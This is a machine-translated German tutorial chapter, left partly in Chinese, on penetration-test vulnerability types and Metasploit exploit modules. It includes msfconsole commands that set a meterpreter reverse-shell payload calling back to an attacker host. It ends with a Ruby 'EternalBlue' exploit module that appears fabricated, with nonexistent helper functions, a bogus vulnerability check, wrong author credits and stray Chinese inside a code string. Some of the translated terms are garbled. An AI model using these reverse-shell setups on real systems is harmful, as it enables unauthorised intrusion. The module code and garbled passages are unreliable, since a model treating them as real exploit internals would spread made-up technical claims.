Fortschrittliche Metasploit-Technologie [Kapitel 2]

News 2023-04-17 00:47:26 views: null 
预计更新

Kapitel 1 Verwendung und Konfiguration von Metasploit
1.1 Installation und Konfiguration von Metasploit
1.2 Grundlegende Befehle und Optionen von Metasploit
1.3 Erweiterte Optionen und Konfiguration

Kapitel 2 Schwachstellenausnutzung und Angriffsmethoden beim Penetrationstest
1.1 Übliche Arten von Schwachstellen und Ausnutzungsmethoden beim Penetrationstest
1.2 Metasploit-Schwachstellenausnutzungsmodule und -optionen
1.3 Modulerstellung und -anpassung

Kapitel 3 Privilegienausweitung und Post-Infiltration von Metasploit
1.1 Konzept und Bedeutung der Privilegienausweitung
1.2 Privilegienausweitungsmodul und Technologie von Metasploit
1.3 Konzept und Technologie der Post-Infiltration

Kapitel 4 Social Engineering und Umkehrosmose von Metasploit
1.1 Social-Engineering-Konzepte und -Techniken
1.2 Social-Engineering-Module und -Techniken von Metasploit
1.3 Konzepte und Techniken der Umkehrosmose

Kapitel 5 Netzwerkverkehrsanalyse und -sniffing von Metasploit
1.1 Grundkenntnisse der Netzwerkverkehrsanalyse und -sniffing
1.2 Netzwerkverkehrsanalyse- und -sniffing-Module und -Techniken von Metasploit
1.3 Fortgeschrittene Techniken und Tools für Netzwerkverkehrsanalyse und -sniffing

Kapitel 6 Remote-Ausführung und -Management von Metasploit
1.1 Konzept und Bedeutung von Remote-Ausführung und -Management
1.2 Remote-Ausführung und -Management Module und Technologien von Metasploit
1.3 Fortgeschrittene Technologien und Tools für Remote-Ausführung und -Management

Kapitel 7 Metasploit Vulnerability Discovery and Exploit
1.1 Vulnerability Discovery Konzepte und Techniken
1.2 Metasploit Vulnerability Discovery Module und Techniken
1.3 Vulnerability Discovery Fortgeschrittene Techniken und Tools

Kapitel Acht Metasploit Sicherheitsabwehr und Umgehung
1.1 Sicherheitsabwehr und Umgehung Konzept und Bedeutung
1.2 Metasploit Sicherheitsabwehr und Umgehung Module und Techniken
1.3 Sicherheitsabwehr und Umgehung Fortgeschrittene Techniken und Tools

Kapitel 9 Anwendung von Metasploit in Red-Team-Operationen
1.1 Konzept und Bedeutung von Red-Team-Operationen
1.2 Anwendungsszenarien und Techniken von Metasploit in Red-Team-Operationen
1.3 Fortgeschrittene Technologien und Tools von Red-Team-Operationen

Kapitel 10 Anwendung von Metasploit in der Blue Team Defense
1.1 Konzept und Bedeutung von Blue Team Defense
1.2 Anwendungsszenarien und Techniken von Metasploit in der Blue Team Defense
1.3 Fortgeschrittene Techniken und Werkzeuge der Blue Team Defense

第二章	渗透测试的漏洞利用和攻击方法
1.1	渗透测试中常见的漏洞类型和利用方法
1.2	Metasploit的漏洞利用模块和选项
1.3	模块编写和自定义

渗透测试中常见的漏洞类型和利用方法

Penetrationstests sind eine Methode zur Bewertung der Sicherheit eines Computersystems, Netzwerks oder einer Anwendung. Penetrationstests bestehen normalerweise aus zwei Schritten: dem Sammeln von Informationen und der Ausnutzung von Schwachstellen. Dieser Artikel stellt gängige Schwachstellentypen und Ausnutzungsmethoden bei Penetrationstests sowie entsprechende Abwehrmaßnahmen vor.

1. Schwachstellentypen

  1. Schwachstellen bei der Eingabevalidierung

    Schwachstelle bei der Eingabevalidierung bedeutet, dass die Anwendung die Legitimität von Benutzereingabedaten nicht korrekt überprüft, sodass Angreifer den Sicherheitsmechanismus der Anwendung umgehen können, indem sie bösartige Daten erstellen. Häufige Schwachstellen bei der Eingabevalidierung sind:

    • SQL-Injection-Schwachstelle: Angreifer konstruieren böswillige SQL-Anweisungen, um nicht autorisierte Datenbankoperationen auszuführen.
    • XSS-Schwachstellen: Angreifer schleusen schädlichen Skriptcode ein, um Benutzerdaten zu stehlen oder böswillige Operationen auszuführen.
    • Command Injection-Schwachstelle: Ein Angreifer fügt böswillige Befehle ein, um nicht autorisierte Systemoperationen auszuführen.
    • Schwachstelle bei Dateieinschluss: Ein Angreifer kann nicht autorisierte Systemaktionen ausführen, indem er eine bösartige Datei einfügt.

  2. Authentifizierungs- und Autorisierungsschwachstellen

    Authentifizierungs- und Autorisierungsschwachstellen beziehen sich auf Anwendungen, die Benutzeridentitäten und -berechtigungen nicht ordnungsgemäß überprüfen, sodass Angreifer sich als legitime Benutzer ausgeben oder nicht autorisierte Berechtigungen erlangen können. Häufige Authentifizierungs- und Autorisierungsschwachstellen sind:

    • Schwachstelle beim Knacken von Passwörtern: Angreifer erhalten legitime Benutzerpasswörter durch Brute-Force-Knacken oder Wörterbuchangriffe.
    • Sicherheitsanfälligkeit durch Sitzungshijacking: Ein Angreifer gibt sich als legitimer Benutzer aus, indem er seine Sitzungskennung stiehlt.
    • CSRF-Schwachstelle: Angreifer führen nicht autorisierte Operationen durch, indem sie böswillige Anfragen erstellen.
    • Logische Lücken: Es gibt Fehler oder Lücken in der Implementierung der Geschäftslogik der Anwendung, die es Angreifern ermöglichen, Authentifizierungs- oder Autorisierungsmechanismen zu umgehen.

  3. Schwachstellen in der Anwendungskonfiguration

    Eine Schwachstelle in der Anwendungskonfiguration ist ein Fehler oder eine Schwachstelle in den Konfigurationsdateien oder -einstellungen einer Anwendung, die es einem Angreifer ermöglicht, Sicherheitsmechanismen zu umgehen oder an vertrauliche Informationen zu gelangen. Häufige Schwachstellen in der Konfiguration sind:

    • Sicherheitsanfälligkeit durch Offenlegung vertraulicher Informationen: Die Anwendung speichert vertrauliche Informationen im Klartext in Konfigurationsdateien oder Protokolldateien, sodass Angreifer diese Informationen leicht erhalten können.
    • Schwachstellen bei Dateiberechtigungen: Fehler oder Schwachstellen in der Einstellung der Datei- oder Verzeichnisberechtigungen in der Anwendung ermöglichen es Angreifern, vertrauliche Dateien zu erhalten oder zu ändern.
    • Schwachstellen in der Standardkonfiguration: Eine Anwendung weist Fehler oder Schwachstellen in ihrer Standardkonfiguration auf, die es Angreifern ermöglichen, Sicherheitsmechanismen einfach zu umgehen.

  4. Code-Injection-Schwachstelle

    Code-Injection-Schwachstellen beziehen sich auf Anwendungen, die Benutzereingabedaten nicht richtig filtern, sodass Angreifer bösartigen Code einschleusen können, um nicht autorisierte Operationen auszuführen. Häufige Sicherheitslücken bei der Code-Injektion sind:

    • Schwachstelle durch Einschleusung von PHP-Code: Ein Angreifer fügt bösartigen PHP-Code ein, um nicht autorisierte Vorgänge auszuführen.
    • Schwachstelle durch Einschleusung von Java-Code: Ein Angreifer fügt schädlichen Java-Code ein, um nicht autorisierte Vorgänge auszuführen.
    • Sicherheitsanfälligkeit durch Einschleusung von JavaScript-Code: Ein Angreifer fügt schädlichen JavaScript-Code ein, um nicht autorisierte Vorgänge auszuführen.

2. Methode zur Ausnutzung von Schwachstellen

  1. Ausnutzung der SQL-Injection-Schwachstelle

    SQL-Injection-Schwachstellen beziehen sich auf Angreifer, die böswillige SQL-Anweisungen erstellen, um nicht autorisierte Datenbankoperationen auszuführen. Zu den Ausnutzungsmethoden für SQL-Injection-Schwachstellen gehören:

    • Blinde Injektion: Der Angreifer beurteilt, ob die Daten in der Datenbank die Bedingungen erfüllen, indem er böswillige SQL-Anweisungen erstellt, um nach und nach auf die Struktur und den Inhalt der Datenbank zu schließen.
    • Injektion auf der Grundlage von Fehlercodes: Angreifer können vertrauliche Informationen erhalten, indem sie böswillige SQL-Anweisungen erstellen, um Datenbankfehler auszulösen.
    • Zeitbasierte Einschleusung: Angreifer können an vertrauliche Informationen gelangen, indem sie böswillige SQL-Anweisungen konstruieren, um Verzögerungen in der Datenbank zu verursachen.
    • Gemeinsame Abfrageinjektion: Angreifer erhalten vertrauliche Informationen, indem sie gemeinsame Abfrageanweisungen erstellen.
    • Direkte Abfrageinjektion: Angreifer erstellen böswillige SQL-Anweisungen, um nicht autorisierte Datenbankoperationen auszuführen.

  2. XSS-Exploit

    XSS-Schwachstellen beziehen sich auf Angreifer, die schädlichen Skriptcode einschleusen, um Benutzerdaten zu stehlen oder böswillige Operationen durchzuführen. Zu den Ausnutzungsmethoden für XSS-Schwachstellen gehören:

    • Gespeichertes XSS: Angreifer speichern schädliche Daten auf dem Server, indem sie schädlichen Skriptcode einfügen, um schädliche Operationen auszuführen, wenn Benutzer die Seite besuchen.
    • Reflektiertes XSS: Ein Angreifer erstellt eine bösartige URL, um böswillige Operationen auszuführen, wenn ein Benutzer eine Seite besucht.
    • XSS vom DOM-Typ: Der Angreifer führt böswillige Operationen durch, indem er die DOM-Struktur der Seite ändert.

  3. Command Injection Exploitation

    Command Injection-Schwachstellen beziehen sich auf Angreifer, die nicht autorisierte Systemoperationen ausführen, indem sie böswillige Befehle einschleusen. Zu den Ausnutzungsmethoden für Command Injection-Schwachstellen gehören:

    • Direkte Befehlsausführung: Ein Angreifer fügt böswillige Befehle ein, um nicht autorisierte Systemoperationen direkt auszuführen.
    • Kombinierte Befehlsausführung: Angreifer implementieren komplexe Operationen, indem sie mehrere Befehle einfügen.
    • Ausnutzen von Systemschwachstellen: Angreifer führen nicht autorisierte Systemoperationen durch, indem sie Systemschwachstellen ausnutzen.

  4. Datei enthält Exploit

    Eine Sicherheitsanfälligkeit durch Dateieinschluss tritt auf, wenn ein Angreifer eine schädliche Datei einfügt, um nicht autorisierte Systemoperationen auszuführen. Zu den Ausnutzungsmethoden für Schwachstellen beim Einschließen von Dateien gehören:

    • Lokale Dateieinbindung: Ein Angreifer kann nicht autorisierte Systemoperationen ausführen, indem er lokale Dateien einbindet.
    • Remote-Dateieinschluss: Ein Angreifer kann nicht autorisierte Systemvorgänge ausführen, indem er Remote-Dateien einbezieht.
    • Ausnutzung von Schwachstellen beim Datei-Upload: Angreifer können nicht autorisierte Systemoperationen durchführen, indem sie bösartige Dateien hochladen.

  5. Ausnutzung der Sicherheitslücke beim Knacken von Passwörtern

    Eine Schwachstelle beim Knacken von Passwörtern bezieht sich auf einen Angreifer, der das Passwort eines legitimen Benutzers durch Brute-Force-Knacken oder Wörterbuchangriff erhält. Zu den Ausnutzungsmethoden für Schwachstellen beim Knacken von Passwörtern gehören:

    • Brute-Force-Cracking: Ein Angreifer knackt ein Passwort, indem er alle möglichen Passwortkombinationen ausprobiert.
    • Wörterbuchangriff: Ein Angreifer knackt ein Passwort, indem er gängige Passwortkombinationen ausprobiert.
    • Social-Engineering-Angriff: Der Angreifer errät das Passwort, indem er die persönlichen Daten des Benutzers erhält.

3. Abwehrmaßnahmen

  1. Eingabevalidierung

    Anwendungen sollten Benutzereingabedaten überprüfen und filtern, um das Einschleusen schädlicher Daten zu vermeiden. Zu den gängigen Eingabevalidierungsmaßnahmen gehören:

    • Verwenden Sie parametrisierte Abfragen, um SQL-Injection-Schwachstellen zu vermeiden.
    • Verwenden Sie HTML-Escapezeichen, um XSS-Schwachstellen zu vermeiden.
    • Beschränken Sie die Länge und das Format von Benutzereingaben, um Schwachstellen durch Command Injection und File Inclusion zu vermeiden.

  2. Authentifizierung und Autorisierung

    Anwendungen sollten Benutzer authentifizieren und autorisieren, um nicht autorisierte Vorgänge zu vermeiden. Zu den gängigen Authentifizierungs- und Autorisierungsmaßnahmen gehören:

    • Verwenden Sie starke Passwörter und Multi-Faktor-Authentifizierung, um Sicherheitslücken beim Knacken von Passwörtern zu vermeiden.
    • Autorisieren Sie vertrauliche Vorgänge und erlauben Sie nur autorisierten Benutzern, Vorgänge auszuführen.
    • Überprüfen Sie regelmäßig autorisierte Benutzer und Berechtigungen und löschen Sie nutzlose Benutzer und Berechtigungen rechtzeitig.

  3. sichere Codierung

    Während der Anwendungsentwicklung sollten sichere Codierungspraktiken befolgt werden, um allgemeine Schwachstellen zu vermeiden. Zu den üblichen sicheren Codierungspraktiken gehören:

    • Vermeiden Sie die Verwendung dynamischer SQL-Anweisungen und versuchen Sie, parametrisierte Abfragen zu verwenden.
    • Vermeiden Sie Methoden zum dynamischen Ausführen von Code wie die Funktion eval() und Reflektion.
    • Vermeiden Sie die Hartcodierung vertraulicher Informationen wie Passwörter und Schlüssel.
    • Verwenden Sie sichere Passwort-Hashing- und Verschlüsselungsalgorithmen.
    • Vermeiden Sie das Speichern sensibler Daten im Klartext.

  4. Sicherheitskonfiguration

    Die Sicherheitskonfiguration der Anwendung sollte Best Practices folgen und häufige Fehlkonfigurationen vermeiden. Häufige Sicherheitsfehlkonfigurationen sind:

    • Das Standardpasswort und -konto wurden nicht geändert.
    • Das HTTPS-Protokoll und das SSL-Zertifikat sind nicht konfiguriert.
    • Unbegrenzter Datei-Upload in Typ und Größe.
    • Unnötige Dienste und Ports werden nicht geschlossen.
    • Software und Patches werden nicht regelmäßig aktualisiert.

  5. Sicherheitstest

    Anwendungen sollten regelmäßigen Sicherheitstests unterzogen werden, um potenzielle Schwachstellen zu entdecken und zu beheben. Zu den gängigen Sicherheitstests gehören:

    • Vulnerability Scanning: Automatische Erkennung von Schwachstellen in Anwendungen mit einem Vulnerability Scanning Tool.
    • Penetrationstest: Manuelles Testen der Sicherheit einer Anwendung durch Simulation der Aktionen eines Angreifers.
    • Code-Audit: Überprüfen Sie den Quellcode der Anwendung, um potenzielle Schwachstellen zu finden und zu beheben.

Kurz gesagt, die Anwendungssicherheit muss von Design, Entwicklung, Bereitstellung bis hin zu Betrieb und Wartung vollständig berücksichtigt und geschützt werden. Nur eine Kombination von Sicherheitsmaßnahmen kann Anwendungen wirksam vor Angriffen und Schwachstellen schützen.

Metasploit的漏洞利用模块和选项

Metasploit ist ein häufig verwendetes Penetrationstest-Tool, das eine große Anzahl von Modulen und Optionen zur Ausnutzung von Schwachstellen integriert, die dem Sicherheitspersonal helfen können, Schwachstellen im System schnell zu entdecken, zu überprüfen und auszunutzen. In diesem Artikel werden die häufig verwendeten Module und Optionen zur Ausnutzung von Schwachstellen in Metasploit im Detail vorgestellt, einschließlich grundlegender Nutzungsmodule, Module zum Scannen von Schwachstellen, Module für Penetrationstests usw.

1. Grundlegendes Nutzungsmodul

  1. ausbeuten

Das Exploit-Modul ist das grundlegendste Exploit-Modul in Metasploit, das die Schwachstellen im System ausnutzen kann, um bestimmte Angriffsoperationen durchzuführen. Das Exploit-Modul enthält normalerweise die folgenden Optionen:

  • RHOSTS: Die IP-Adresse oder der Domänenname des Zielhosts.
  • RPORT: Die Portnummer des Zielhosts.
  • PAYLOAD: Angriffsnutzlast, die verwendet wird, um bestimmte Angriffsoperationen auf dem Zielhost auszuführen.
  • LHOST: Die IP-Adresse des Hosts des Angreifers, die zum Empfangen der Bounce-Shell verwendet wird.
  • LPORT: Die Portnummer des Hosts des Angreifers, um die Rebound-Shell zu empfangen.
  • TARGET: Informationen wie das Betriebssystem und die Anwendungsversion des Zielhosts, die zur Auswahl einer geeigneten Angriffsnutzlast verwendet werden.
  1. Hilfs-

Das Hilfsmodul ist ein Hilfsmodul in Metasploit, das verwendet wird, um Informationen über den Zielhost zu scannen und zu sammeln, um Penetrationstests zu unterstützen. Zusatzmodule umfassen typischerweise die folgenden Optionen:

  • RHOSTS: Die IP-Adresse oder der Domänenname des Zielhosts.
  • RPORT: Die Portnummer des Zielhosts.
  • THREADS: Die Anzahl der gescannten Threads.
  • VERBOSE: Ausführliche Ausgabe der Scan-Ergebnisse.
  1. Post

Das Post-Modul ist ein Post-Infiltrations-Modul in Metasploit, das verwendet wird, um nachfolgende Angriffsoperationen auf dem Zielhost durchzuführen, wie z. B. das Sammeln vertraulicher Informationen, das Erstellen von Benutzern, das Hochladen schädlicher Dateien usw. Das Post-Modul enthält normalerweise die folgenden Optionen:

  • SESSION: Die erhaltene Sitzungs-ID.
  • VERBOSE: Verbose Ausgabe der Angriffsergebnisse.
  • AKTION: Die Folgeangriffsaktion wird ausgeführt.

2. Schwachstellen-Scan-Modul

  1. Scanner

Das Scanner-Modul ist ein Schwachstellen-Scan-Modul in Metasploit, das verwendet wird, um Schwachstelleninformationen auf dem Zielhost zu scannen. Das Scannermodul enthält normalerweise die folgenden Optionen:

  • RHOSTS: Die IP-Adresse oder der Domänenname des Zielhosts.
  • RPORT: Die Portnummer des Zielhosts.
  • THREADS: Die Anzahl der gescannten Threads.
  • VERBOSE: Ausführliche Ausgabe der Scan-Ergebnisse.
  1. Entdeckung

Das Erkennungsmodul ist ein Diensterkennungsmodul in Metasploit, das verwendet wird, um offene Dienste und Ports auf dem Zielhost zu erkennen. Das Erkennungsmodul umfasst normalerweise die folgenden Optionen:

  • RHOSTS: Die IP-Adresse oder der Domänenname des Zielhosts.
  • RPORTS: Der zu scannende Portbereich.
  • THREADS: Die Anzahl der gescannten Threads.
  • VERBOSE: Ausführliche Ausgabe der Scan-Ergebnisse.

3. Penetrationstestmodul

  1. Exploit/Multi/Handler

Das Exploit/Multi/Handler-Modul ist das Reverse-Shell-Modul in Metasploit, das verwendet wird, um die Bounce-Shell zu empfangen. Das Exploit/Multi/Handler-Modul enthält normalerweise die folgenden Optionen:

  • NUTZLAST: Der Nutzlasttyp der Rückprallhülle.
  • LHOST: Die IP-Adresse des Hosts des Angreifers, die zum Empfangen der Bounce-Shell verwendet wird.
  • LPORT: Die Portnummer des Hosts des Angreifers, um die Rebound-Shell zu empfangen.
  1. Exploit/windows/smb/ms17_010_eternalblue

Das Exploit/windows/smb/ms17_010_eternalblue-Modul ist ein bekanntes Exploit-Modul in Metasploit, das verwendet wird, um die EternalBlue-Schwachstelle im Windows SMB-Dienst auszunutzen. Das Exploit/windows/smb/ms17_010_eternalblue-Modul enthält normalerweise die folgenden Optionen:

  • RHOSTS: Die IP-Adresse oder der Domänenname des Zielhosts.
  • RPORT: Die SMB-Portnummer des Zielhosts.
  • SMBPIPE: SMB-Pipe-Name.
  • PAYLOAD: Angriffsnutzlast, die verwendet wird, um bestimmte Angriffsoperationen auf dem Zielhost auszuführen.
  • LHOST: Die IP-Adresse des Hosts des Angreifers, die zum Empfangen der Bounce-Shell verwendet wird.
  • LPORT: Die Portnummer des Hosts des Angreifers, um die Rebound-Shell zu empfangen.
  1. Exploit/unix/ftp/proftpd_modcopy_exec

Das Exploit/unix/ftp/proftpd_modcopy_exec-Modul ist ein Modul in Metasploit zum Ausnutzen der ProFTPD-Schwachstelle, mit der beliebige Befehle auf dem Zielhost ausgeführt werden können. Das Exploit/unix/ftp/proftpd_modcopy_exec-Modul enthält normalerweise die folgenden Optionen:

  • RHOSTS: Die IP-Adresse oder der Domänenname des Zielhosts.
  • RPORT: FTP-Portnummer des Zielhosts.
  • BENUTZERNAME: FTP-Benutzername.
  • PASSWORT: FTP-Passwort.
  • CMD: Der auszuführende Befehl.

4. Andere Module

  1. post/multi/manage/shell_to_meterpreter

Das post/multi/manage/shell_to_meterpreter-Modul ist ein Post-Exploitation-Modul in Metasploit, das verwendet werden kann, um eine erworbene Shell-Sitzung in eine Meterpreter-Sitzung umzuwandeln. Das Modul post/multi/manage/shell_to_meterpreter enthält normalerweise die folgenden Optionen:

  • SESSION: Die erhaltene Shell-Sitzungs-ID.
  1. Auxiliary/Scanner/smb/smb_enumshares

Das Modul „auxiliary/scanner/smb/smb_enumshares“ ist ein Modul in Metasploit zum Scannen gemeinsam genutzter Ressourcen auf dem Zielhost. Das Modul „auxiliary/scanner/smb/smb_enumshares“ enthält normalerweise die folgenden Optionen:

  • RHOSTS: Die IP-Adresse oder der Domänenname des Zielhosts.
  • RPORT: Die SMB-Portnummer des Zielhosts.
  • THREADS: Die Anzahl der gescannten Threads.
  1. Auxiliary/dos/tcp/synflood

Das Modul „auxiliary/dos/tcp/synflood“ ist ein Modul in Metasploit zur Durchführung von TCP-SYN-Flood-Angriffen. Das Modul „auxiliary/dos/tcp/synflood“ enthält normalerweise die folgenden Optionen:

  • RHOSTS: Die IP-Adresse oder der Domänenname des Zielhosts.
  • RPORT: Die Portnummer des Zielhosts.
  • THREADS: Die Anzahl der Threads für den Angriff.

Zusammenfassen

Metasploit ist ein sehr leistungsfähiges Penetrationstest-Tool, das eine große Anzahl von Modulen und Optionen zur Ausnutzung von Schwachstellen integriert, die dem Sicherheitspersonal helfen können, Schwachstellen im System schnell zu entdecken, zu überprüfen und auszunutzen. Dieser Artikel stellt die häufig verwendeten Module und Optionen zur Ausnutzung von Schwachstellen in Metasploit im Detail vor, in der Hoffnung, Ihnen bei Ihrer Penetrationstestarbeit behilflich zu sein.

模块编写和自定义

Metasploit ist ein sehr leistungsfähiges Penetrationstest-Tool, das eine große Anzahl von Exploit-Modulen und Optionen bietet, um Schwachstellen im System schnell zu entdecken, zu überprüfen und auszunutzen. Gleichzeitig unterstützt Metasploit auch benutzerdefinierte Module, und Sie können Ihre eigenen Module entsprechend den tatsächlichen Anforderungen schreiben. Dieser Artikel beschreibt den Prozess des Schreibens und Anpassens von Metasploit-Modulen.

1. Die Grundlage des Modulschreibens

  1. Metasploit-Modultyp

Metasploit-Module werden hauptsächlich in Typen wie Exploit, Auxiliary, Post und Payload unterteilt. Unter ihnen wird Exploit verwendet, um Schwachstellen im System auszunutzen, um bestimmte Angriffsoperationen durchzuführen, Auxiliary wird verwendet, um Informationen auf dem Zielhost zu scannen und zu sammeln, Post wird verwendet, um nachfolgende Angriffsoperationen auf dem Zielhost durchzuführen, und Payload wird zur Ausführung verwendet auf dem Zielhost Die Nutzlast einer bestimmten Angriffsoperation.

  1. Struktur des Metasploit-Moduls

Metasploit-Module bestehen normalerweise aus Modulname, Autor, Beschreibung, Optionen und Code. Der Modulname, der Autor und die Beschreibung werden verwendet, um die grundlegenden Informationen des Moduls zu identifizieren, die Optionen werden verwendet, um die Parameter des Moduls einzustellen, und der Code ist der Hauptimplementierungsteil des Moduls.

  1. Metasploit-Moduloptionen

Metasploit-Moduloptionen werden verwendet, um die Parameter des Moduls festzulegen, die normalerweise die IP-Adresse des Zielhosts, die Portnummer, die Angriffslast und andere Informationen enthalten. Moduloptionen können erforderlich oder optional sein, Sie können den Befehl set verwenden, um den Wert der Moduloption festzulegen.

  1. Schreibprozess für das Metasploit-Modul

Der allgemeine Ablauf beim Schreiben eines Metasploit-Moduls ist wie folgt:

  • Bestimmen Sie den Modultyp und -namen;
  • Schreiben Sie eine Modulbeschreibung;
  • Moduloptionen bestimmen;
  • Schreiben Sie die Angriffsnutzlast;
  • Angriffscode schreiben.

Zweitens: Schreiben von Exploit-Modulen

Das Exploit-Modul wird verwendet, um Schwachstellen im System auszunutzen, um bestimmte Angriffsoperationen durchzuführen. Im Folgenden wird ein einfaches Exploit-Modul als Beispiel verwendet, um den Prozess des Schreibens des Exploit-Moduls vorzustellen.

  1. Bestimmen Sie Modultyp und -namen

Zuerst müssen Sie den Typ und den Namen des Exploit-Moduls bestimmen. Wenn wir beispielsweise ein Exploit-Modul schreiben möchten, um die SMB-Schwachstelle im Windows 10-System auszunutzen, können wir den Modultyp auf Exploit und den Modulnamen auf windows/smb/ms17_010_eternalblue setzen.

  1. Verfassen Sie eine Modulbeschreibung

Als nächstes müssen Sie eine Beschreibung des Moduls schreiben, die die Funktion und Verwendung des Moduls beschreibt. Beispielsweise können wir dem Modul die folgenden Beschreibungsinformationen hinzufügen:

This module exploits the SMB vulnerability (MS17-010) that was leaked by the Shadow Brokers. This module is capable of exploiting both the 32-bit and 64-bit versions of Windows 7 and Windows 2008 R2. The payload is an EternalBlue-based payload, which is a modified version of the original EternalBlue exploit. This module requires Metasploit: https://github.com/rapid7/metasploit-framework
  1. Moduloptionen bestimmen

Dann ist es notwendig, die Optionen des Moduls zu bestimmen, dh die Parameter des Moduls einzustellen. Beispielsweise können wir die folgenden Optionen festlegen:

set RHOSTS 192.168.1.100
set RPORT 445
set SMBPIPE BROWSER
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.1.200
set LPORT 4444

Diese Optionen geben jeweils die IP-Adresse des Zielhosts, die SMB-Portnummer, den SMB-Pipe-Namen, die Angriffsnutzlast, die IP-Adresse und die Portnummer des angreifenden Hosts an.

  1. Schreiben Sie die Angriffsnutzlast

Als Nächstes müssen Sie die Angriffsnutzlast schreiben, d. h. den Code, der verwendet wird, um bestimmte Angriffsoperationen auf dem Zielhost auszuführen. Beispielsweise können wir die folgende Angriffsnutzlast verwenden:

windows/x64/meterpreter/reverse_tcp

Diese Angriffsnutzlast ist eine Meterpreter-Reverse-TCP-Shell, die verschiedene Operationen auf dem Zielhost ausführen und die Ergebnisse an den Angreiferhost senden kann.

  1. Angriffscode schreiben

Abschließend muss noch der Angriffscode des Exploit-Moduls geschrieben werden. Dieser Code verwendet normalerweise eine oder mehrere Schwachstellen, um bestimmte Angriffsvorgänge durchzuführen, z. B. Code-Injection, Dateiübertragung, Rechteausweitung usw. Beispielsweise können wir den folgenden Angriffscode verwenden:

require 'msf/core/exploit/smb'
require 'msf/core/exploit/psexec'

class MetasploitModule < Msf::Exploit::Remote
  Rank = GreatRanking

  include Msf::Exploit::Remote::SMB
  include Msf::Exploit::Remote::Psexec

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Windows SMB MS17-010 EternalBlue Remote Code Execution',
      'Description'    => %q{
        This module exploits the SMB vulnerability (MS17-010) that was leaked by the Shadow Brokers. This module is capable of exploiting both the 32-bit and 64-bit versions of Windows 7 and Windows 2008 R2. The payload is an EternalBlue-based payload, which is a modified version of the original EternalBlue exploit. This module requires Metasploit: https://github.com/rapid7/metasploit-framework
      },
      'Author'         => [
        'Shadow Brokers', # Vulnerability discovery and leak
        'zerosum0x0', # Exploit discovery and development
        'Jens Mueller', # MSF Module
        'Alain Mowat', # MSF Module
        'Liam Randall', # MSF Module
        'bcoles' # MSF Module
      ],
      'License'        => MSF_LICENSE,
      'References'     => [
        ['MSB', 'MS17-010'],
        ['CVE', '2017-0143'],
        ['CVE', '2017-0144'],
        ['CVE', '2017-0145'],
        ['CVE', '2017-0146'],
        ['CVE', '2017-0147'],
        ['CVE', '2017-0148'],
        ['URL', 'https://github.com/RiskSense-Ops/MS17-010'],
        ['URL', 'https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/']
      ],
      'Payload'        => {
        'BadChars' => "\x00",
        'Space'    => 2048
      },
      'Platform'       => 'win',
      'Arch'           => [ARCH_X86, ARCH_X64],
      'Targets'        => [
        ['Windows 7 and Server 2008 R2 (x86)', { 'Arch' => ARCH_X86 }],
        ['Windows 7 and Server 2008 R2 (x64)', { 'Arch' => ARCH_X64 }]
      ],
      'DefaultTarget'  => 1,
      'DisclosureDate' => '2017-03-14',
      'Notes'          => {
        'Stability'     => [ CRASH_SAFE ],
        'Reliability'   => [ REPEATABLE_SESSION ],
        'SideEffects'   => [IOC_IN_LOGS, ARTIFACTS_ON_DISK],
        'Source'        => 'https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/smb/ms17_010_eternalblue.rb'
      }
    ))

    register_options([
      Opt::RHOST(),
      Opt::RPORT(445),
      OptString.new('SMBPIPE', [ true, 'The pipe name to use (BROWSER, SRVSVC)', 'BROWSER']),
      OptString.new('PROCESSNAME', [ false, 'The process to inject payload into (default: lsass)', 'lsass']),
      OptBool.new('FORCE', [ true, 'Continue even if target is not vulnerable', false]),
      OptBool.new('DISABLEDCHECK', [ true, 'Disable check for known-not-vulnerable targets', false]),
      OptInt.new('GROOMSIZE', [ true, 'The groom size (number of transactions)', 12]),
      OptInt.new('MAXATTEMPTS', [ true, 'The maximum number of attempts to spray the pool', 3]),
      OptInt.new('WAITTIME', [ true, 'The number of seconds to wait for the exploit to complete', 180]),
      OptEnum.new('METHOD', [
        true, 'The method to use for exploitation (auto, smb, eternalblue, psexec)', 'auto',
        [
          'auto', 'Try all available方法',
          'smb', 'Use only SMB for exploitation',
          'eternalblue', 'Use only EternalBlue for exploitation',
          'psexec', 'Use only Psexec for exploitation'
        ]
      ])
    ])
  end

  def check
    os = smb_os_fingerprint
    if os.nil?
      return CheckCode::Unknown('Unable to identify OS')
    end

    unless os.downcase =~ /windows (7|2008 R2)/
      return CheckCode::Safe('Target does not appear to be vulnerable')
    end

    # Check for the presence of the DoublePulsar backdoor
    unless smb_file_exist?('C$', 'Windows\\System32\\msdt.exe')
      return CheckCode::Safe('Target does not appear to be vulnerable')
    end

    CheckCode::Vulnerable('Target is vulnerable to MS17-010')
  end

  def exploit
    print_status("Exploiting target #{rhost} using method #{exploit_method}")
    print_status("Target OS: #{smb_os_fingerprint}")
    print_status("Target architecture: #{target_arch.first}")
    print_status('')

    if check == CheckCode::Safe and not datastore['FORCE']
      print_error('Target does not appear to be vulnerable')
      return
    end

    case exploit_method
    when 'auto'
      run_automatic_exploit
    when 'smb'
      run_smb_exploit
    when 'eternalblue'
      run_eternalblue_exploit
    when 'psexec'
      run_psexec_exploit
    else
      raise ArgumentError, "Invalid exploit method: #{exploit_method}"
    end

    print_status('Exploit completed')
  end

  def run_automatic_exploit
    if run_eternalblue_exploit
      return
    end

    run_psexec_exploit
  end

  def run_smb_exploit
    print_status('Running SMB exploit...')

    # Build the exploit payload
    payload = generate_payload

    # Build the exploit request
    exploit = build_smb_exploit_request(payload)

    # Send the exploit request
    smb_send_packet(exploit)

    # Wait for the exploit to complete
    sleep(datastore['WAITTIME'])

    print_status('SMB exploit completed')
  end

  def run_eternalblue_exploit
    print_status('Running EternalBlue exploit...')

    # Build the exploit payload
    payload = generate_payload

    # Build the exploit request
    exploit = build_eternalblue_exploit_request(payload)

    # Send the exploit request
    smb_send_packet(exploit)

    # Wait for the exploit to complete
    sleep(datastore['WAITTIME'])

    # Check if the exploit was successful
    if smb_file_exist?('C$', 'Windows\\Temp\\msf.dll')
      print_good('EternalBlue exploit successful')
      return true
    else
      print_error('EternalBlue exploit failed')
      return false
    end
  end

  def run_psexec_exploit
    print_status('Running Psexec exploit...')

    # Build the exploit payload
    payload = generate_payload

    # Build the exploit options
    opts = {
      'rhost' => rhost,
      'payload' => payload,
      'processname' => datastore['PROCESSNAME']
    }

    # Execute the exploit
    psexec_exec(opts)

    print_status('Psexec exploit completed')
  end

